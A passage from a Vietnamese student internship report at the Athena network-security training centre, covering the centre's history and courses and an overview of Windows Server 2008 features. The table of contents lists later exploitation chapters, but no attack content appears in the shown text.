Controllers...........................................................................21 2.8. Công nghệ Failover Clustering............................................................................22
  • 7. SVTH: Nguyễn Trọng Sáng Page 6 2.9. Windows Firewall with Advance Security.........................................................22 3. MỘT SỐ TÍNH NĂNG MỚI CỦA WINDOWS SERVER 2008......................22 3.1. Công nghệ ảo hóa Hyper-V..................................................................................22 3.2. Processor Compatibility Mode ............................................................................23 3.3. File Classification Infrastructure .........................................................................23 3.4. Quản lý trong ỗ đĩa và file....................................................................................23 3.5. Cải tiến giao thức và mã hóa................................................................................23 3.6. Một số tính năng khác...........................................................................................24 4. CÁC LỢI ÍCH CỦA WINDOWS SERVER 2008 ...............................................24 4.1. Web .........................................................................................................................24 4.2. Ảo hóa.....................................................................................................................25 4.3. Bảo mật...................................................................................................................25 4.4. Network Access Protection (NAP) .....................................................................25 4.5. Read-Only Domain Controller (RODC).............................................................25 4.6. BitLocker................................................................................................................26 4.7. Windows Firewall .................................................................................................26 5. CÁC PHIÊN BẢN CỦA WINDOWS SERVER 2008.........................................26 5.1. Windows Server 2008...........................................................................................26 5.2. Windows Server 2008 Standard Edition ............................................................26 5.3. Windows Server 2008 Enterprise Edition..........................................................27 5.4. Windows Server 2008 Datacenter Edition .........................................................27 5.5. Windows Web Server 2008 .................................................................................27 6. CÀI ĐẶT WINDOWS SERVER 2008 ...................................................................28 6.1. Yêu cầu phần cứng ................................................................................................28 6.2. Các cách cài đặt .....................................................................................................28 7. NÂNG CẤP LÊN WINDOWS SERVER 2008.....................................................29 8. QUÁ TRÌNH CÀI ĐẶT WINDOWS SERVER 2008 .........................................30 CHƯƠNG 4: DOMAIN ..........................................................................................................35
  • 8. SVTH: Nguyễn Trọng Sáng Page 7 1. CÀI ĐẶT DOMAIN ..................................................................................................35 2. JOIN DOMAIN..........................................................................................................45 CHƯƠNG 5: TRIỂN KHAI CÁC DỊCH VỤ MẠNG.....................................................48 1. DỊCH VỤ DNS ...........................................................................................................48 1.1. Giới thiệu về DNS................................................................................................48 1.2. Cài đặt DNS..........................................................................................................48 1.3. Cấu hình DNS.......................................................................................................49 2. DỊCH VỤ DHCP........................................................................................................55 2.1. Giới thiệu về dịch vụ DHCP...............................................................................55 2.2. Hoạt động của giao thức .....................................................................................55 2.3. Cài đặt DHCP trên windows server 2008.........................................................55 2.4. Cấu hình DHCP...................................................................................................59 3. DỊCH VỤ VPN ...........................................................................................................63 3.1. Khái niệm..............................................................................................................64 3.2. Các loại VPN........................................................................................................65 3.3. Bảo mật trong VPN .............................................................................................66 3.4. Sản phẩm công nghệ dành cho VPN .................................................................67 4. VPN SITE TO SITE .................................................................................................68 5. DỊCH VỤ MAIL SERVER MDaemon .................................................................84 CHƯƠNG 6: BẢO MẬT WINDOWS.................................................................................91 1. Khai thác lỗ hổng trên Windows XP với mã lỗi MS08_067 .........................91 2. Khai thác lỗ hổng trên Windows XP với mã lỗi MS12_004 .........................94 KẾT LUẬN ..............................................................................................................................102
  • 9. SVTH: Nguyễn Trọng Sáng Page 8 CHƯƠNG 1: GIỚI THIỆU VỀ TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG VÀ AN NINH MẠNG QUỐC TẾ ATHENA 1. Giới thiệu về công ty Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA_Tiền thân là Công ty TNHH Tư vấn và Đào tạo quản trị mạng Việt Năng, (tên thương hiệu viết tắt là TRUNG TÂM ĐÀO TẠO ATHENA), được chính thức thành lập theo giấy phép kinh doanh số 4104006757 của Sở Kế Hoạch Đầu Tư Tp Hồ Chí Minh cấp ngày 04 tháng 11 năm 2008. Tên công ty viết bằng tiếng nước ngoài: Athena Advice Training Network Security Company Limited. ATHENA là một tổ chức quy tụ nhiều trí thức trẻ Việt Nam đầy năng động, nhiệt huyết và kinh nghiệm trong lĩnh vực công nghệ thông tin. Với quyết tâm góp phần vào công cuộc thúc đẩy tiến trình tin học hóa của nước nhà. ATHENA đã và đang tập trung chủ yếu vào các họat động sau:  Công tác huấn luyện, quảng bá kiến thức tin học, đặc biệt trong lĩnh vực mạng máy tính, internet, bảo mật và thương mại điện tử....  Tư vấn và hổ trợ cho doanh nghiệp ứng dụng hiệu quả tin học vào hoạt động sản xuất kinh doanh.  Cung cấp nguồn nhân lực trong lĩnh vực công nghệ thông tin, đặc biệt là chuyên gia về mạng máy tính và bảo mật mạng đạt trình độ quốc tế cho các tổ chức, doanh nghiệp có nhu cầu.  Tiến hành các hoạt động nghiên cứu nâng cao kiến thức tin học và phát triển cơ sở dữ liệu thông tin về các ứng dụng và sự cố mạng.  Tiến hành các dịch vụ ứng cứu khẩn cấp cho doanh nghiệp trong trường hợp xảy ra sự cố máy tính.  Trụ sở chính:
  • 10. SVTH: Nguyễn Trọng Sáng Page 9 o Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA. o Số 2 Bis Đinh Tiên Hoàng, Phường Đa Kao, Tp Hồ Chí Minh. o Website: www.athena. com.vn o Điện thoại: ( 84-8 ) 3824 4041 o Hotline: 0943 23 00 99  Cơ sở 2_Tại TP Hồ Chí Minh: o Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA o 92 Nguyễn Đình Chiểu, Phường Đa Kao,Quận 1, Tp Hồ Chí Minh. o Website: www.Athena.Edu.Vn o Điện thoại: ( 84-8 ) 2210 3801 o Hotline: 0943 20 00 88 2. Quá trình hình thành và phát triển. Quá trình hình thành Năm 2000, một nhóm các thành viên là những doanh nhân tài năng và thành công trong lĩnh vực công nghệ thông tin đã nhận ra tiềm năng phát triển của việc đào tạo nền công nghệ thông tin nước nhà. Họ là những cá nhân có trình độ chuyên môn cao và có đầu óc lãnh đạo cùng với tầm nhìn xa về tương lai của ngành công nghệ thông tin trong tương lai, họ đã quy tụ được một lực lượng lớn đội ngũ công ngh ệ thông tin trước hết là làm nhiệm vụ ứng cứu máy tính cho các doanh nghiệp, cá nhân có nhu cầu. Bước phát triển tiếp theo là vươn tầm đào đạo đội ngũ cán bộ công nghệ thông tin cho đất nước và xã hội. Các thành viên sáng lập trung tâm gồm: Ông Nguyễn Thế Đông: Cựu giám đốc trung tâm ứng cứu máy tính Athena, hiện tại là giám đốc dự án của công ty Siemen Telecom. Ông Hứa Văn Thế Phúc: Phó Giám đốc Phát triển Thương mại Công ty EIS, Phó Tổng công ty FPT. Ông Nghiêm Sỹ Thắng: Phó Tổng giám đốc Ngân hàng Liên Việt, chịu trách nhiệm công nghệ thông tin của Ngân hàng. Ông Võ Đỗ Thắng: Hiện đang là giám đốc Trung tâm đào tạo quản trị và an
  • 11. SVTH: Nguyễn Trọng Sáng Page 10 ninh mạng Athena. Đến năm 2003, bốn thành viên sáng lập cùng với với đội ngũ ứng cứu máy tính gần 100 thành viên hoạt động như là một nhóm, một tổ chức ứng cứu máy tính miền Nam. Công ty TNHH Tư vấn và Đào tạo quản trị mạng Việt Năng, hay còn g ọi là Trung tâm đào tạo Quản trị và An ninh mạng Quốc Tế Athena (tên thương hiệu viết tắt là TRUNG TÂM ĐÀO TẠO ATHENA), được chính thức thành lập theo giấy phép kinh doanh số 4104006757 của Sở Kế Hoạch Đầu Tư Tp Hồ Chí Minh cấp ngày 04 tháng 11 năm 2008. Quá trình phát triển. Từ năm 2004- 2006: Trung tâm có nhiều bước phát triển và chuyển mình. Trung tâm trở thành một trong những địa chỉ tin cậy của nhiều doanh nghiệp nhằm cài đặt hệ thống an ninh mạng và đào tạo cho đội ngũ nhân viên c ủa các doanh nghiệp về các chương trình qu ản lý dự án MS Project 2003, kỹ năng thương mại điện tử, bảo mật web... và là địa chỉ tin cậy của nhiều học sinh_sinh viên đến đăng kí học. Đòi hỏi cấp thiết trong thời gian này của Trung tâm là nâng cao hơn nữa đội ngũ giảng viên cũng như cơ sở để đáp ứng nhu cầu ngày càng cao về công nghệ thông tin của đất nước nói chung, các doanh nghiệp, cá nhân nói riêng. Đến năm 2006: Trung tâm đào tạo quản trị và an ninh mạng Athena mở ra thêm một chi nhánh tại Cư xá Nguyễn Văn Trỗi. Đồng thời tiếp tục tuyển dụng đội ngũ giảng viên là những chuyên gia an ninh mạng tốt nghiệp các trường đại học và học viện công nghệ thông tin uy tín trên toàn quốc, đồng thời trong thời gian này Athena có nhiều chính sách ưu đãi nhằm thu hút đội ngũ nhân lực công nghệ thông tin lành nghề từ các doanh nghiệp, tổ chức, làm giàu thêm đội ngũ giảng viên của trung tâm. Đến năm 2008: Hàng loạt các trung tâm đào tạo quản trị và an ninh mạng mọc lên, cùng với khủng hoảng kinh tế tài chính toàn cầu đã làm cho Trung tâm rơi vào nhiều khó khăn. Ông Nguyễn Thế Đông cùng Ông Hứa Văn Thế Phúc rút
  • 12. SVTH: Nguyễn Trọng Sáng Page 11 vốn khỏi công ty gây nên sự hoang man cho toàn bộ hệ thống trung tâm. Cộng thêm chi nhánh tại Cư xã Nguyễn Văn Trỗi hoạt động không còn hiệu quả phải đóng cửa làm cho trung tâm rơi từ khó khăn này đến khó khăn khác. Lúc này, với quyết tâm khôi phục lại công ty cũng như tiếp tục sứ mạng góp phần vào tiến trình tin học hóa của đất nước. Ông Võ Đỗ Thắng mua lại cổ phần của hai nhà đầu tư lên làm giám đốc và xây dựng lại trung tâm. Đây là một bước chuyển mình có ý nghĩa chiến lược của trung tâm. Mở ra một làn gió mới và một giai đoạn mới, cùng với quyết tâm mạnh mẽ và một tinh thần thép đã giúp ông Thắng vượt qua nhiều khó khăn ban đầu, giúp trung tâm đứng vững trong thời kì khủng hoảng. Từ năm 2009 - nay: Cùng với sự lãnh đạo tài tình và đầu óc chiến lược. Trung tâm đào tạo quản trị và an ninh mạng dần được phục hồi và trở lại quỹ đạo hoạt động của mình. Đến nay, Trung tâm đã trở thành một trong những trung tâm đào tạo quản trị mạng hàng đầu Việt Nam. Cùng với sự liên kết của rất nhiều công ty, tổ chức doanh nghiệp, trung tâm trở thành nơi đào tạo và cung cấp nguồn nhân lực công nghệ thông tin cho xã hội. Từng bước thực hiện mục tiêu góp phần vào tiến trình tin học hóa nước nhà. 3. Cơ cấu tổ chức
  • 13. SVTH: Nguyễn Trọng Sáng Page 12 Hình 1: Sơ đồ tổ chức công ty 4. Tình hình hoạt động trong năm Cơ cấu sản phẩm. Các khóa học dài hạn – Chương trình đào tạo chuyên gia an ninh mạng. ( AN2S) Athena network - security specialist- 18 tháng. – Chương trình Quản trị viên an ninh mạng (ANST) Athena netuwork security Technician- 12 tháng. – Chuyên viên quản trị mạng nâng cao (ANMA) Athena network manager Administrator.- 6 tháng. Các khóa học ngắn hạn Về quản trị mạng: - Quản trị mạng MCSA 2003 – 2008 - Quản trị mạng Cisco – CCNA - Quản trị mạng Microsoft nâng cao – MCSE - Quản trị hệ thống mạng Linux 1 và Linux 2 - Quản trị mạng cơ bản và cài đặt máy tính – ACBN Về an ninh mạng: - System Hacking – xâm nhập và khai thác lỗ hỏng hệ điều hành - Hacking và bảo mật máy tính Windows - Bảo mật mạng Wi-Fi - Hacker mũ trắng Athena - Bảo mật mạng ACNS Về Web và thương mại điện tử: - SEO Google - Thiết kế, quản trị website doanh nghiệp bằng Joomla - Xây dụng và quản trị diễn đàn, trang rao vặt bằng VBB - Lập trình và thiết kế web chuyên nghiệp bằng PHP và MySQL
  • 14. SVTH: Nguyễn Trọng Sáng Page 13 - Internet Business - Xây dựng web cấp tốc bằng WordPress - Xây dựng web bán hàng trực tuyến - Online Marketing Các dịch vụ hỗ trợ: – Đảm bảo việc làm cho học viên tốt nghiệp khoá dài hạn – Giới thiệu việc làm cho mọi học viên – Thực tập có lương cho học viên khá giỏi – Ngoài giờ học chính thức, học viên được thực hành thêm miễn phí, không giới hạn thời gian – Hỗ trợ kỹ thuật không thời hạn trong tất cả các lĩnh vực liên quan đến máy tính, mạng máy tính, bảo mật mạng – Hỗ trợ thi Chứng chỉ Quốc tế. 5. Cơ sở hạ tầng – Thiết bị đầy đủ và hiện đại. – Chương trình cập nhật liên tục, bảo đảm học viên luôn tiếp cận với những công nghệ mới nhất. – Phòng máy rộng rãi, thoáng mát. 6. Khách hàng – Mọi đối tượng chuyên hoặc không chuyên về CNTT. – Khách hàng chủ yếu của ATHENAlà các bạn học sinh, sinh viên và các cán bộ công nhân viên chức yêu thích lĩnh vực công nghệ thông tin. 7. Đối tác Trung tâm đào tạo an ninh mạng ATHENA là đối tác đào tạo & cung cấp nhân sự CNTT, quản trị mạng , an ninh mạng chất lượng cao theo đơn đặt hàng cho các đơn vị như ngân hàng, doanh nghiệp, các cơ quan chính phủ, tổ chức tài chính.
  • 15. SVTH: Nguyễn Trọng Sáng Page 14 CHƯƠNG 2: NỘI DUNG THỰC TẬP  Nhiệm vụ được giao.  Nghiên cứu các dịch vụ mạng trên Windows Server 2008  Triển khai các dịch vụ mạng trên Windows Server 2008 1. Kiến thức tìm hiểu Giải pháp mạng doanh nghiệp Giới thiệu về mạng doanh nghiệp Hệ thống mạng của doanh nghiệp đơn giản hay phức tạp là tùy theo quy mô và loại hình của doanh nghiệp. Ngày nay, các nhà cung ứng đã đưa ra rất nhiều sự chọn lựa cho doanh nghiệp như cho phép doanh nghiệp tự trang bị, tự quản lý hoặc sử dụng dịch vụ. Những doanh nghiệp lớn với hàng ngàn máy tính cũng có những giải pháp quản lý đặc thù kết hợp cả phần cứng và phần mềm. Hầu hết các doanh nghiệp đều có nhu cầu sử dụng các ứng dụng công nghệ thông tin (CNTT) ở những mức độ khác nhau. Do vậy, họ sẽ có những nhu cầu khác nhau về quản trị hệ thống mạng (network) của doanh nghiệp. Một hệ thống được kiểm soát tốt sẽ làm giảm đáng kể chi phí hoạt động, nâng cao hiệu quả cũng như độ tin cậy của hệ thống. Các thành phần công nghệ trong mạng doanh nghiệp Tùy vào qui mô lớn hay nhỏ của doanh nghiệp mà ta sẽ có những giải pháp công nghệ và thiết kế sao cho phù hợp nhất. Hiện nay, hầu hết các ứng dụng mới đều yêu cầu rất nhiều tài nguyên của hệ thống và băng thông mạng, cũng như các yêu cầu về điều khiển, giám sát mạng. Vậy làm thế nào để một doanh nghiệp vừa và nhỏ, với một số vốn đầu tư ban đầu hạn chế, có thể tiếp cận được với các công nghệ hiện đại, bắt kịp sự phát triển của thế giới.
  • 16. SVTH: Nguyễn Trọng Sáng Page 15 2. Windows Server 2008 Giới thiệu về mô hình Client-Server Điều đáng ngạc nhiên là nhiều công ty ngày nay vẫn không quan tâm đến việc thực hiện một mạng lưới client/server. Thay vào đó họ chỉ tiếp tục thêm vào các máy trạm để thực hiện mô hình mạng peer-to-peer. Mạng peer-to-peer không cung cấp cho bạn nhiều cách bảo mật và chia sẽ tài nguyên. Vì vậy, không có gì ngạc nhiên khi họ thường có vấn đề với việc truy cập vào máy trạm, bị mất dữ liệu do virus, spyware hay phải trải nghiệm việc internet bị gián đoạn. Máy tính nối mạng theo mô hình peer-to-peer là đủ khi bạn chỉ có một vài người dung trên mạng, nhưng khi có nhiều hơn 5 hoặc 6 người sử dụng trên mạng của bạn, bạn thực sự phải xem xét đầu tư một máy chủ mạng.Vậy lợi ích của mô hình Client-Server cụ thể là gì? - Tập tin và an ninh mạng: Vai trò quan trọng nhất của một máy chủ tập tin là an ninh mạng mà nó cung cấp. Bằng cách tạo ra các tài khoản người dùng cá nhân và nhóm, có thể cấp quyền cho nhóm và cá nhân khai thác dữ liệu được lưu trữ trên mạng, ngăn chặn người sử dụng trái phép truy cập tài liệu mà họ không nên xem. Ví dụ, trong Folder chung thì group ketoan và group nhansu có quyền truy cập ủa nhân viên… - Tăng độ tin cậy, giảm sự gián đoạn công việc: Nhiều máy chủ được trang bị nguồn điện dự phòng. Với một nguồn cung cấp năng lượng thứ cấp chạy song song, sự mất mát của một trong những nguồn cung cấp điện không ảnh hưởng đến hoạt động hệ thống bình thường. Cũng vậy với hệ thống lưu trữ của máy chủ. Không giống như một máy tính để bàn trung bình có sử dụng một ổ cứng duy nhất, một máy chủ sẽ thường sử dụng nhiều ổ đĩa cứng làm việc trong một RAID cấu hình để ngăn ngừa mất dữ liệu hoặc một sự gián đoạn trong quy trình làm việc. Ngoài ra, nhiều máy chủ cũng được trang bị ổ đĩa cứng hot swappable và nguồn cung cấp điện. Các thành phần này có thể thay thế nóng cho phép bạn thay thế phần cứng bị lỗi mà không gián đoạn toàn bộ văn phòng. Ngoài ra, kể từ khi tất cả các dữ
  • 17. SVTH: Nguyễn Trọng Sáng Page 16 liệu nhân viên đang được lưu trữ trên mạng, nếu máy trạm của người dùng không giữa ngày làm việc, nhân viên có thể truy cập các tập tin tương tự từ máy trạm khác. - Tập trung lưu trữ dữ liệu và tài nguyên chia sẻ: Với một máy chủ mạng, tất cả người dùng trên mạng có thể sử dụng các tài nguyên mạng khác nhau ngay từ bàn làm việc, tăng hiệu quả. Một số trong những nguồn tài nguyên bao gồm:  Tập trung lưu trữ dữ liệu ( RAID Array )  Network Attached Storage (NAS) thiết bị  Tháp đĩa CD / DVD  Máy in và máy chủ Fax - Quản lý virus : Một trong những mối đe dọa lớn nhất đối với mạng của bạn là khả năng lây nhiễm từ virus, phần mềm gián điệp và thư rác. Vì vậy, có tốt, cập nhật, phần mềm chống virus được cài đặt trên hệ thống của bạn là một điều cần thiết. Trong một văn phòng của 10 người hoặc ít hơn, hệ thống có thể được duy trì riêng. Bất cứ điều gì nhiều hơn thế, tuy nhiên, có thể trở thành một gánh nặng thực sự. Trong những trường hợp này, một gói phần mềm chống virus kết hợp máy trạm và bảo vệ chống virus máy chủ vào một giải pháp duy nhất có ý nghĩa hơn. - Sao lưu tập trung: Tất cả các doanh nghiệp nên sao lưu dữ liệu của họ một cách thường xuyên. Bởi có tất cả các công ty của bạn và dữ liệu nhân viên được lưu trữ tại một địa điểm, bản sao lưu có thể được thực hiện đáng tin cậy và nhanh chóng. Vì vậy, bạn sẽ không bao giờ cần phải lo lắng về những dữ liệu được lưu trữ trên những gì máy trạm như bạn làm trong một mạng peer-to-peer. Ngày nay, hầu hết các loại phương tiện truyền thông có thể được sử dụng cho mục đích sao lưu. Ngoài các ổ đĩa truyền thống băng, đĩa CD, DVD, lưu trữ và thậm chí loại bỏ Network Attached Storage (NAS) thiết bị này là chấp nhận được. Sự lựa chọn của bạn của phương tiện truyền thông sẽ phụ thuộc vào yêu cầu cụ thể của bạn sao lưu. Tùy thuộc vào ngân sách của bạn và nhu cầu lưu giữ dữ liệu của bạn, bất kỳ trong số
  • 18. SVTH: Nguyễn Trọng Sáng Page 17 này sẽ là một giải pháp chấp nhận được. Hãy chắc chắn rằng bạn có ít nhất một bản sao lưu hàng tuần theo lịch trình, mặc dù hàng ngày sẽ tốt hơn.
  • 19. SVTH: Nguyễn Trọng Sáng Page 18 CHƯƠNG 3: TỔNG QUAN VỀ WINDOWS SERVER 2008 1. GIỚI THIỆU WINDOWS SERVER 2008 Microsoft Windows Server 2008 là thế hệ kế tiếp của hệ điều hành Windows Server, có thể giúp các chuyên gia công nghệ thông tin có thể kiểm soát tối đa cơ sở hạ tầng của họ và cung cấp khả năng quản lý và hiệu lực chưa từng có, là sản phẩm hơn hẳn trong việc đảm bảo độ an toàn, khả năng tin cậy và môi trường máy chủ vững chắc hơn các phiên bản trước đây. Windows Server 2008 cung cấp những giá trị mới cho các tổ chức bằng việc bảo đảm tất cả người dùng đều có thể có được những thành phần bổ sung từ các dịch vụ từ mạng. Windows Server 2008 cũng cung cấp nhiều tính năng vượt trội bên trong hệ điều hành và khả năng chuẩn đoán, cho phép các quản trị viên tăng được thời gian hỗ trợ cho các doanh nghiệp. Windows Server 2008 được thiết kế để cung cấp cho các tổ chức có được nền tảng sản xuất tốt nhất cho ứng dụng, mạng và các dịch vụ web từ nhóm làm việc đến những trung tâm dữ liệu với tính năng động, tính năng mới có giá trị và những cải thiện mạnh mẽ cho hệ điều hành cơ bản. Cải thiện hệ điều hành cho máy chủ Windows.Thêm vào tính năng mới, Windows Server 2008 cung cấp nhiều cải thiệm tốt hơn cho hệ điều hành cơ bản so với hệ điều hành Windows Server 2003. Những cải thiện có thể thấy được gồm có các vấn đề về mạng, các tính năng bảo mật nâng cao, truy cập ứng dụng từ xa, quản lý role máy chủ tập trung, các công cụ kiểm tra độ tin cậy và hiệu suất, nhóm chuyển đổi dự phòng, sự triển khai và hệ thống file.
  • 20. SVTH: Nguyễn Trọng Sáng Page 19 2. CÁC TÍNH NĂNG CỦA WINDOWS SERVER 2008 2.1. Công cụ quản trị Server Manager Server Manager là một giao diện điều khiển được thiết kế để tổ chức và quản lý một server chạy hệ điều hành Windows Server 2008. Người quản trị có thể sử dụng Server Manager với những nhiều mục đích khác nhau. - Quản lý đồng nhất trên một server - Hiển thị trạng thái hiện tại của server - Nhận ra các vấn đề gặp phải đối với các role đã đƣợc cài đặt một cách dễ dàng hơn - Quản lý các role trên server, bao gồm việc thêm và xóa role - Thêm và xóa bỏ các tính năng - Chẩn đoán các dấu hiệu bất thường - Cấu hình server: có 4 công cụ (Task Scheduler, Windows Firewall, Services và WMI Control). - Cấu hình sao lưu và lưu trữ: các công cụ giúp bạn sao lưu và quản lý ổ đĩa là Windows Server Backup và Disk Management đều nằm trên Server Manager. 2.2. Windows Server Core - Server Core là một tính năng mới trong Windows Server 2008. Nó cho phép có thể cài đặt với mục đích hỗ trợ đặc biệt và cụ thể đối với một số role. - Tất cả các tương tác với Server Core được thông qua các dòng lệnh. Server Core mang lại những lợi ích sau: +Giảm thiểu được phần mềm, vì thế việc sử dụng dung lượng ổ đĩa cũng được giảm. Chỉ tốn khoảng 1GB khi cài đặt. +Bởi vì giảm thiểu được phần mềm nên việc cập nhật cũng không nhiều. +Giảm thiểu tối đa những hành vi xâm nhập vào hệ thống thông qua các port được mở mặc định. +Dễ dàng quản lý.
  • 21. SVTH: Nguyễn Trọng Sáng Page 20 - Server Core không bao gồm tất cả các tính năng có sẵn trong những phiên bản cài đặt Server khác. Ví dụ như .NET Framework hoặc Internet Explorer. 2.3. PowerShell PowerShell là một tập hợp lệnh. Nó kết nối những dòng lệnh shell với một ngôn ngữ script và thêm vào đó hơn 130 công cụ dòng lệnh(được gọi là cmdlets).Hiện tại, có thể sử dụng PowerShell trong: Exchange Server +SQL Server +Terminal Services +Active Directory Domain Services. +Quản trị các dịch vụ, xử lý và registry. Mặc định, Windows PowerShell chưa được cài đặt. Tuy nhiên bạn có thể cài đặt nó một cách dễ dàng bằng cách sử dụng công cụ quản trị Server Manager và chọn Features > Add Features 2.4. Windows Deloyment Services. Windows Deployment Services được tích hợp trong Windows Server 2008 cho phép bạn cài đặt hệ điều hành từ xa cho các máy client mà không cần phải cài đặt trực tiếp. WDS cho phép bạn cài đặt từ xa thông qua Image lấy từ DVD cài đặt. Ngoài ra, WDS còn hỗ trợ tạo Image từ 1 máy tính đã cài đặt sẵn Windows và đầy đủ các ứng dụng khác. Windows Deployment Serviece sử dụng định dạng Windows Image (WIM). Một cải tiến đặc biệt với WIM so với RIS là WIM có thể làm việc tốt với nhiều nền tảng phần cứng khác nhau. 2.5. Terminal Services. Terminal Services là một thành phần chính trên Windows Server 2009 cho phép user có thể truy cập vào server để sử dụng những phần mềm. Terminal Services giúp người quản trị triển khai và bảo trì hệ thống phần mềm trong doanh nghiệp một cách hiệu quả. Người quản trị có thể cài đặt các
  • 22. SVTH: Nguyễn Trọng Sáng Page 21 chương trình phần mềm lên Terminal Server mà không cần cài đặt trên hệ thống máy client, vì thế việc cập nhật và bảo trì phần mềm trở nên dễ dàng hơn. Terminal Services cung cấp 2 sự khác biệt cho người quản trị và người dùng cuối Dành cho người quản trị: cho phép quản trị có thể kết nối từ xa hệ thống quản trị bằng việc sử dụng Remote Desktop Connection hoặc Remote Desktop. Dành cho người dùng cuối: cho phép người dùng cuối có thể chạy các chương trình từ Terminal Services server. 2.6. Network Access Protection Network Access Protection (NAP) là một hệ thống chính sách thi hành (Health Policy Enforcement) được xây dựng trong các hệ điều hành Windows Server 2008. Cơ chế thực thi của NAP: + Kiểm tra tình trạng an toàn của client. +Giới hạn truy cập đối với các máy client không an toàn. +NAP sẽ cập nhật những thành phần cần thiết cho các máy client không an toàn, cho đến khi client đủ điều kiện an toàn.Cho phép client kết nối nếu client đã thỏa điều kiện. +NAP giúp bảo vệ hệ thống mạng từ các client. +NAP cung cấp bộ thư viên API (Application Programming Interface), cho phép các nhà quản trị lập trình nhằm tăng tính bảo mật cho mình 2.7. Read-Only Domain Controllers Read-Only Domain Controller (RODC) là một kiểu Domain Controller mới trên Windows Server 2008.Với RODC, doanh nghiệp có thể dễ dàng triển khai các Domain Controller ở những nơi mà sự bảo mật không được đảm bảo về bảo mật. RODC là một phần dữ liệu của Active Directory Domain Services. Vì RODC là một phần dữ liệu của ADDS nên nó lưu trữ mọi đối tượng, thuộc tính và các chính sách giống như domain controller, tuy nhiên mật khẩu thì bị ngoại trừ.
  • 23. SVTH: Nguyễn Trọng Sáng Page 22 2.8. Công nghệ Failover Clustering. Clustering là công nghệ cho phép sử dụng hai hay nhiều server kết hợp với nhau để tạo thành một cụm server để tăng cường tính ổn định trong vận hành.Nếu server này ngưng hoạt động thì server khác trong cụm sẽ đảm nhận nhiệm vụ mà server ngưng hoạt động đó đang thực hiện nhằm mục đích hoạt động của hệ thống vẫn bình thường. Quá trình chuyên giao gọi là fail-over. Những phiên bản sau hỗ trợ:  Windows Server 2008 Enterprise  Windows Server 2008 Datacenter  Windows Server 2008 Itanium 2.9. Windows Firewall with Advance Security Windows Firewall with Advance Security cho phép người quản trị có thể cấu hình đa dạng và nâng cao để tăng cường tính bảo mật cho hệ thống. Windows Firewall with Advance Security có những điểm mới: Kiểm soát chặt chẽ các kết nối vào và ra trên hệ thống (inbound và outbound) IPsec được thay thế bằng khái niệm Connection Security Rule, giúp bạn có thể kiểm soát và quản lý các chính sách, đồng thời giám sát trên firewall. Kết hợp với Active Directory. Hỗ trợ đầy đủ IPv6. 3. MỘT SỐ TÍNH NĂNG MỚI CỦA WINDOWS SERVER 2008 3.1. Công nghệ ảo hóa Hyper-V Hyper-V là công nghệ ảo hóa server thế hệ mới của Microsoft, sự thay đổi lớn nhất mà Microsoft mang lại so với phiên bản Windows Server 2003. Hyper-V hoạt động trên nền hệ điều hành 64-bit. Với Hyper-V, người sử dụng có thể sở hữu một nền tảng ảo hóa linh hoạt, bảo mật, tối đa hiệu suất và tiết kiệm chi phí: Hyper-V có thể thích nghi với doanh nghiệp lớn với hàng nghìn máy tính hoặc các doanh nghiệp nhỏ hay văn phòng chi nhánh. Hyper-V hỗ trợ bộ nhớ ảo lên đến 64GB, đa bộ vi xử lý.
  • 24. SVTH: Nguyễn Trọng Sáng Page 23 Khả năng bảo mật giống như các server vật lý. Kết hợp các cộng cụ bảo mật Windows Firewall, Network Access Protection…do đó tính bảo mật tốt như môi trường thật. Hyper-V giúp khai thác tối đa hiệu suất sử dụng phần cứng server. Bằng việc hợp nhất server, cho phép một server vật lý có thể đóng nhiều vai trò của nhiều server. Từ đó, tiết kiệm được chi phí từ các khoảng mua server, điện, không gian và bảo trì. Hyper-V chỉ có thể hỗ trợ đến 32 bộ vi xử lý. 3.2. Processor Compatibility Mode Cho phép di trú các máy ảo sang một máy chủ vật lý khác với một phiên bản CPU khác (nhưng không phải là CPU của nhà sản xuất khác). Trước đây, để chuyển một máy ảo Hyper-V sang một phần cứng khác, các CPU phải giống nha u, điều đó yêu cầu người dùng thường phải mua lại phần cứng mới. 3.3. File Classification Infrastructure FCI là một tính năng built-in cho phép các chuyên gia CNTT phân loại và quản lý dữ liệu trong các máy chủ file. Dữ liệu có thể được phân loại với tác động doanh nghiệp mức thấp, cao hoặc trung bình, sau đó người dùng có thể backup các dữ liệu quan trọng nhất dễ dàng hơn và hiệu quả hơn. 3.4. Quản lý trong ỗ đĩa và file - Cung cấp khả năng thay đổi kich thước phân vùng. - Shadow Copy hỗ trợ ổ đĩa quang, ổ đĩa mạng. - Distributed File System được cải tiến. - Cải tiến Failover Clustering. - Internet Storage Naming Server cho phép đăng ký, hủy đăng ký tập trung và truy xuất tới các ổ đĩa cứng iSCS. 3.5. Cải tiến giao thức và mã hóa - Hỗ trợ mã hóa 128 và 256 bit cho giao thức chứng thực Keberos.
  • 25. SVTH: Nguyễn Trọng Sáng Page 24 - Hàm API mã hóa mới hỗ trợ mã hóa vòng elip và cải tiến quản lý chứng chỉ. - Giao thức VPN mới Secure Socket Tunneling Protocol. - AuthIP được sử dụng trong mạng VPN Ipsec. - Giao thức Server Message Block 2.0 cung cấp các cải tiến trong truyền thông. 3.6. Một số tính năng khác - Windows Deployment Services thay thế cho Automated Deployment Services và Remote Installation Services. - IIS 7 thay thế IIS 6, tăng cường khả năng bảo mật, cải tiến công cụ chuẩn đoán, hỗ trợ quản lý. - Có thành phần "Desktop Experience" cung cấp khả năng cải tiến giao diện. 4. CÁC LỢI ÍCH CỦA WINDOWS SERVER 2008 Windows Server 2008 mang đến lợi ích trong bốn lĩnh vực:Web, Ảo hóa, Bảo mật, Nền tảng vững chắc cho các hoạt động của tổ chức 4.1. Web Windows Server 2008 cung cấp một nền tảng đồng nhất để triển khai dịch vụ Web nhờ tích hợp IIS7.0,ASP.NET,Windows Communication Foundation và Microsoft Windows SharePoint Services. Lợi ích của IIS 7.0: - Tính năng phân tích - Quản trị hiệu quả. - Nâng cao tính bảo mật. - Giảm chi phí hỗ trợ. - Giao diện thân thiện và tiện dụng - Hỗ trợ việc sao chép giữa các site. - Copy dễ dàng các thiết lập của trang web giữa các máy chủ web khác nhau mà không cần phải thiết lập gì thêm.
